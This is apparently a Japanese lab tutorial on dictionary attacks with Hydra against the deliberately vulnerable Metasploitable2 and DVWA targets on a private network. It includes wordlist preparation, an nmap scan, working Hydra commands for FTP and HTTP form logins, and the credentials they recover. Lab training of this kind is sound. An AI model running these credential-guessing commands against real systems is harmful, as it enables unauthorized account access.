Hydraを使用した辞書攻撃によるパスワードクラックの方法
Hydraはパスワードクラックツールとして有名でKali Linuxに標準でインストールされています。 Hydraを使用してMetasploitable2(やられサーバー)に対して攻撃を仕掛けてみたいと思います。
※注意 こちらで紹介した内容を外部サーバーに対して実行した場合、場合によっては刑法にて処罰されます。 実験を行う場合は必ずローカル環境にテスト用のサーバーを構築して実行してください。
Kali LinuxとMetasploitable2を起動する
Kali LinuxとMetasploitable2を起動します。 今回検証で使用したKali LinuxとMetasploitable2のIPアドレスはそれぞれ以下の通りです。
Kali Linux:192.168.28.3
Metasploitable2:192.168.28.4
辞書攻撃に使用するファイルを用意する
Kali Linuxには標準で辞書攻撃に使用する辞書リストが/usr/share/wordlists/metasploit
以下のディレクトリに多数用意されています。
今回はpiata_ssh_userpass.txt
を使用してテストを行います。
┌──(kali㉿kali)-[/usr/share/wordlists/metasploit] └─$ wc -l piata_ssh_userpass.txt 917 piata_ssh_userpass.txt
wc
コマンドで辞書の行数を調べてみたところ、917個のIDとパスワードが登録されているようです。
piata_ssh_userpass.txtは一つのファイルにユーザーIDとパスワードが格納されているので、cutコマンドを使用して、users.txtとpasswords.txtに分割します。
┌──(root㉿kali)-[/usr/share/wordlists/metasploit] └─# tail piata_ssh_userpass.txt | cut -d' ' -f1 > /root/users.txt ┌──(root㉿kali)-[/usr/share/wordlists/metasploit] └─# tail piata_ssh_userpass.txt | cut -d' ' -f2 > /root/passwords.txt ┌──(root㉿kali)-[/usr/share/wordlists/metasploit] └─# cd /root ┌──(root㉿kali)-[~] └─# ls passwords.txt users.txt
ホームディレクトリ直下にpasswords.txtとusers.txtが用意できました。
Metasploitable2のポートの開放状況を調べる
nmap
を使用してポートスキャンを行い、Metasploitable2
のポートの開放状況を調べます。
Metasploitable2
はやられサーバーをなのでポートはガバガバに空いています。
今回はftp
、telnet
あたりに対して辞書攻撃を仕掛けてみたいと思います.
┌──(root㉿kali)-[~] └─# nmap -sV 192.168.28.4 Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-05 16:37 JST Nmap scan report for 192.168.28.4 Host is up (0.0010s latency). Not shown: 977 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) 23/tcp open telnet Linux telnetd 25/tcp open smtp Postfix smtpd 53/tcp open domain ISC BIND 9.4.2 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2) 111/tcp open rpcbind 2 (RPC #100000) 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 512/tcp open exec netkit-rsh rexecd 513/tcp open login OpenBSD or Solaris rlogind 514/tcp open shell Netkit rshd 1099/tcp open java-rmi GNU Classpath grmiregistry 1524/tcp open bindshell Metasploitable root shell 2049/tcp open nfs 2-4 (RPC #100003) 2121/tcp open ftp ProFTPD 1.3.1 3306/tcp open mysql MySQL 5.0.51a-3ubuntu5 5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7 5900/tcp open vnc VNC (protocol 3.3) 6000/tcp open X11 (access denied) 6667/tcp open irc UnrealIRCd 8009/tcp open ajp13 Apache Jserv (Protocol v1.3) 8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1 MAC Address: 08:00:27:40:9D:D5 (Oracle VirtualBox virtual NIC) Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 11.98 seconds
ポートスキャンの実行結果。 多くのポートが開放されており非常に脆弱なサーバーで有ることがわかります。(やられサーバーなので)
辞書攻撃の実行
┌──(root㉿kali)-[~] └─# hydra -L users.txt -P passwords.txt 192.168.28.4 ftp Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-06-05 16:36:09 [DATA] max 16 tasks per 1 server, overall 16 tasks, 100 login tries (l:10/p:10), ~7 tries per task [DATA] attacking ftp://192.168.28.4:21/ [21][ftp] host: 192.168.28.4 login: msfadmin password: msfadmin 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-06-05 16:36:32
辞書攻撃の結果ftpのユーザー名・パスワードの奪取に成功しました。 Hydraを使用してゲットしたユーザー名とパスワードを使用して実際にFTPでMetasploitable2に接続してみたいと思います。
実際に侵入出来るか確認してみる
┌──(root㉿kali)-[~] └─# ftp msfadmin@192.168.28.4 Connected to 192.168.28.4. 220 (vsFTPd 2.3.4) 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> cd ~ 250 Directory successfully changed. ftp> ls 229 Entering Extended Passive Mode (|||38810|). 150 Here comes the directory listing. drwxr-xr-x 6 1000 1000 4096 Apr 28 2010 vulnerable 226 Directory send OK. ftp> pwd Remote directory: /home/msfadmin
/home/msfadmin
ホームディレクトリの名称からも、Metasploitable2に接続が成功したものと思われます。
ちなみにtelnetは総当たりに非常に時間がかかる上に、結果の信頼性が低いという警告が表示されたので、途中でキャンセルをしました。
脆弱なログイン画面の突破
やられサイトであるDVWAのログイン認証を突破する
ブラウザを立ち上げて下記にアクセスします。
http://192.168.28.4/dvwa/login.php
そうするとDVWAのログイン画面が表示されます。
DVWA
とはDamn Vulnerable Web Application
の略で、日本語に翻訳すると「くそ脆弱なWEBプリケーション」という意味になります。
今回はunix_users.txt
とunix_passwords.txt
という辞書ファイルを使用します。
┌──(root㉿kali)-[~] └─# cd /usr/share/wordlists/metasploit ┌──(root㉿kali)-[/usr/share/wordlists/metasploit] └─# head unix_passwords.txt > /root/dvwa_passwords.txt ┌──(root㉿kali)-[/usr/share/wordlists/metasploit] └─# head unix_users.txt > /root/dvwa_users.txt
辞書ファイルの先頭部分をホームディレクトリの直下に書き出します。
┌──(root㉿kali)-[/usr/share/wordlists/metasploit] └─# cd ~ ┌──(root㉿kali)-[~] └─# ls dvwa_passwords.txt dvwa_users.txt
ホームディレクトリ直下にdvwa_passwords.txt
とdvwa_users.txt
が書き出されているのがわかります。
DVWAのHTMLソースを確認してみる
<form action="login.php" method="post"> <fieldset> <label for="user">Username</label> <input type="text" class="loginInput" size="20" name="username"><br /> <label for="pass">Password</label> <input type="password" class="loginInput" AUTOCOMPLETE="off" size="20" name="password"><br /> <p class="submit"><input type="submit" value="Login" name="Login"></p> </fieldset> </form>
DVWAのHTMLソースを確認するとlogin.php
にpostしている事、
ユーザー名のname属性にはusername
が使用されている事、
パスワードのname属性にはpasswordが
使用されている事、
送信ボタンのvalueとname属性にはLogin
が使用されている事が分かります。
hydraでコマンドを組み立てるときこれらの情報を使用します。
攻撃コマンドの作成
hydra -L dvwa_users.txt -P dvwa_passwords.txt 192.168.28.4 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed
DVWAのHTMLソースをもとに組み立てたコマンドが上記になります。
^USER^
にはname属性にusernameが指定されているinputタグに入力されるユーザー名が、
^PASS^
にはname属性にpasswordが指定されているinputタグに入力されるパスワードが、
それぞれ辞書リストより呼び出されて代入されて行きます。
Login
にはsubmit時のvalueとnameを指定して、コロンの後ろにはログインに失敗した際のエラーメッセージを入力します。
(DVWAではログインに失敗したときはLogin failed
と表示されます)
実際に攻撃してみる
┌──(root㉿kali)-[~] └─# hydra -L dvwa_users.txt -P dvwa_passwords.txt 192.168.28.4 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed" Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-06-05 17:34:26 [DATA] max 16 tasks per 1 server, overall 16 tasks, 100 login tries (l:10/p:10), ~7 tries per task [DATA] attacking http-post-form://192.168.28.4:80/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed [80][http-post-form] host: 192.168.28.4 login: admin password: password 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-06-05 17:34:31
作成した攻撃コマンドを実行してみたところ、ユーザー名とパスワードの奪取に成功したようです。
次に、取得したユーザー名とパスワードを使用して本当にログイン出来るか確認します。
実際にログインしてみる
Hydraで取得したIDとパスワードで管理画面にログインが出来たようです。
このようにトークンの無いフォームはツールを使って簡単に突破されてしまう事が分かりました(トークンがあっても突破方法はあるのかもしれません)
パスワードは可能な限り推測されにくいものにする必要があります。
オプションの確認
基本構文
Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [-m MODULE_OPT] [service://server[:PORT][/OPT]]
オプション一覧
hydra -h
で基本構文とオプションが確認できます。
Options: -R restore a previous aborted/crashed session -I ignore an existing restore file (don't wait 10 seconds) -S perform an SSL connect -s PORT if the service is on a different default port, define it here -l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE -p PASS or -P FILE try password PASS, or load several passwords from FILE -x MIN:MAX:CHARSET password bruteforce generation, type "-x -h" to get help -y disable use of symbols in bruteforce, see above -r use a non-random shuffling method for option -x -e nsr try "n" null password, "s" login as pass and/or "r" reversed login -u loop around users, not passwords (effective! implied with -x) -C FILE colon separated "login:pass" format, instead of -L/-P options -M FILE list of servers to attack, one entry per line, ':' to specify port -o FILE write found login/password pairs to FILE instead of stdout -b FORMAT specify the format for the -o FILE: text(default), json, jsonv1 -f / -F exit when a login/pass pair is found (-M: -f per host, -F global) -t TASKS run TASKS number of connects in parallel per target (default: 16) -T TASKS run TASKS connects in parallel overall (for -M, default: 64) -w / -W TIME wait time for a response (32) / between connects per thread (0) -c TIME wait time per login attempt over all threads (enforces -t 1) -4 / -6 use IPv4 (default) / IPv6 addresses (put always in [] also in -M) -v / -V / -d verbose mode / show login+pass for each attempt / debug mode -O use old SSL v2 and v3 -K do not redo failed attempts (good for -M mass scanning) -q do not print messages about connection errors -U service module usage details -m OPT options specific for a module, see -U output for information -h more command line options (COMPLETE HELP) server the target: DNS, IP or 192.168.0.0/24 (this OR the -M option) service the service to crack (see below for supported protocols) OPT some service modules support additional input (-U for module help)